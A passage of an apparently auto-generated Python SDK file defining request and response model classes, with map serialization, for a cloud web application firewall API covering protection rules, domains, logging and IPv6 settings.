dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleModeResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleRulesRequest(TeaModel):\n\n def __init__(self, page_size=None, page_number=None, domain=None,\n defense_type=None, query=None, lang=None, instance_id=None,\n resource_group_id=None):\n self.page_size = page_size\n self.page_number = page_number\n self.domain = domain\n self.defense_type = defense_type\n self.query = query\n self.lang = lang\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.query is not None:\n result['Query'] = self.query\n if self.lang is not None:\n result['Lang'] = self.lang\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Query') is not None:\n self.query = m.get('Query')\n if m.get('Lang') is not None:\n self.lang = m.get('Lang')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleRulesResponseBodyRules(TeaModel):\n\n def __init__(self, status=None, time=None, version=None, content=None,\n rule_id=None):\n self.status = status\n self.time = time\n self.version = version\n self.content = content\n self.rule_id = rule_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponseBodyRules, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.time is not None:\n result['Time'] = self.time\n if self.version is not None:\n result['Version'] = self.version\n if self.content is not None:\n result['Content'] = self.content\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('Time') is not None:\n self.time = m.get('Time')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('Content') is not None:\n self.content = m.get('Content')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n return self\n\n\nclass DescribeProtectionModuleRulesResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, rules=None):\n self.total_count = total_count\n self.request_id = request_id\n self.rules = rules\n\n def validate(self):\n if self.rules:\n for k in self.rules:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['Rules'] = []\n if self.rules is not None:\n for k in self.rules:\n result['Rules'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.rules = []\n if m.get('Rules') is not None:\n for k in m.get('Rules'):\n temp_model = DescribeProtectionModuleRulesResponseBodyRules()\n self.rules.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeProtectionModuleRulesResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleRulesResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeProtectionModuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None, module_status=None):\n self.request_id = request_id\n self.module_status = module_status\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.module_status is not None:\n result['ModuleStatus'] = self.module_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('ModuleStatus') is not None:\n self.module_status = m.get('ModuleStatus')\n return self\n\n\nclass DescribeProtectionModuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeWafSourceIpSegmentRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeWafSourceIpSegmentResponseBody(TeaModel):\n\n def __init__(self, request_id=None, ip_v6s=None, ips=None):\n self.request_id = request_id\n self.ip_v6s = ip_v6s\n self.ips = ips\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.ip_v6s is not None:\n result['IpV6s'] = self.ip_v6s\n if self.ips is not None:\n result['Ips'] = self.ips\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('IpV6s') is not None:\n self.ip_v6s = m.get('IpV6s')\n if m.get('Ips') is not None:\n self.ips = m.get('Ips')\n return self\n\n\nclass DescribeWafSourceIpSegmentResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeWafSourceIpSegmentResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyDomainRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, source_ips=None,\n load_balancing=None, http_port=None, https_port=None, http_2port=\n None, https_redirect=None, http_to_user_ip=None, is_access_product=\n None, log_headers=None, cluster_type=None, connection_time=None,\n read_time=None, write_time=None, access_type=None,\n cloud_native_instances=None, ip_follow_status=None):\n self.instance_id = instance_id\n self.domain = domain\n self.source_ips = source_ips\n self.load_balancing = load_balancing\n self.http_port = http_port\n self.https_port = https_port\n self.http_2port = http_2port\n self.https_redirect = https_redirect\n self.http_to_user_ip = http_to_user_ip\n self.is_access_product = is_access_product\n self.log_headers = log_headers\n self.cluster_type = cluster_type\n self.connection_time = connection_time\n self.read_time = read_time\n self.write_time = write_time\n self.access_type = access_type\n self.cloud_native_instances = cloud_native_instances\n self.ip_follow_status = ip_follow_status\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.source_ips is not None:\n result['SourceIps'] = self.source_ips\n if self.load_balancing is not None:\n result['LoadBalancing'] = self.load_balancing\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n if self.https_redirect is not None:\n result['HttpsRedirect'] = self.https_redirect\n if self.http_to_user_ip is not None:\n result['HttpToUserIp'] = self.http_to_user_ip\n if self.is_access_product is not None:\n result['IsAccessProduct'] = self.is_access_product\n if self.log_headers is not None:\n result['LogHeaders'] = self.log_headers\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.connection_time is not None:\n result['ConnectionTime'] = self.connection_time\n if self.read_time is not None:\n result['ReadTime'] = self.read_time\n if self.write_time is not None:\n result['WriteTime'] = self.write_time\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.cloud_native_instances is not None:\n result['CloudNativeInstances'] = self.cloud_native_instances\n if self.ip_follow_status is not None:\n result['IpFollowStatus'] = self.ip_follow_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('SourceIps') is not None:\n self.source_ips = m.get('SourceIps')\n if m.get('LoadBalancing') is not None:\n self.load_balancing = m.get('LoadBalancing')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n if m.get('HttpsRedirect') is not None:\n self.https_redirect = m.get('HttpsRedirect')\n if m.get('HttpToUserIp') is not None:\n self.http_to_user_ip = m.get('HttpToUserIp')\n if m.get('IsAccessProduct') is not None:\n self.is_access_product = m.get('IsAccessProduct')\n if m.get('LogHeaders') is not None:\n self.log_headers = m.get('LogHeaders')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ConnectionTime') is not None:\n self.connection_time = m.get('ConnectionTime')\n if m.get('ReadTime') is not None:\n self.read_time = m.get('ReadTime')\n if m.get('WriteTime') is not None:\n self.write_time = m.get('WriteTime')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('CloudNativeInstances') is not None:\n self.cloud_native_instances = m.get('CloudNativeInstances')\n if m.get('IpFollowStatus') is not None:\n self.ip_follow_status = m.get('IpFollowStatus')\n return self\n\n\nclass ModifyDomainResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyDomainResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyDomainResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyDomainIpv6StatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyDomainIpv6StatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyDomainIpv6StatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyDomainIpv6StatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyLogRetrievalStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyLogRetrievalStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyLogRetrievalStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyLogRetrievalStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyLogServiceStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyLogServiceStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyLogServiceStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyLogServiceStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleModeRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, mode=None,\n instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.mode = mode\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.mode is not None:\n result['Mode'] = self.mode\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Mode') is not None:\n self.mode = m.get('Mode')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleModeResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleModeResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleModeResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleRuleRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, rule=None, rule_id=\n None, lock_version=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.rule = rule\n self.rule_id = rule_id\n self.lock_version = lock_version\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule is not None:\n result['Rule'] = self.rule\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.lock_version is not None:\n result['LockVersion'] = self.lock_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Rule') is not None:\n self.rule = m.get('Rule')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('LockVersion') is not None:\n self.lock_version = m.get('LockVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleRuleResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleRuleResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleRuleResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, module_status=None,\n instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.module_status = module_status\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.module_status is not None:\n result['ModuleStatus'] = self.module_status\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('ModuleStatus') is not None:\n self.module_status = m.get('ModuleStatus')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionRuleCacheStatusRequest(TeaModel):\n\n def __init__(self, domain=None, rule_id=None, defense_type=None,\n instance_id=None):\n self.domain = domain\n self.rule_id = rule_id\n self.defense_type = defense_type\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionRuleCacheStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusResponseBody, self).to_map(\n )\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionRuleCacheStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionRuleCacheStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionRuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, rule_id=None,\n rule_status=None, lock_version=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.rule_id = rule_id\n self.rule_status = rule_status\n self.lock_version = lock_version\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.rule_status is not None:\n result['RuleStatus'] = self.rule_status\n if self.lock_version is not None:\n result['LockVersion'] = self.lock_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('RuleStatus') is not None:\n self.rule_status = m.get('RuleStatus')\n if m.get('LockVersion') is not None:\n self.lock_version = m.get('LockVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionRuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusResponseBody, 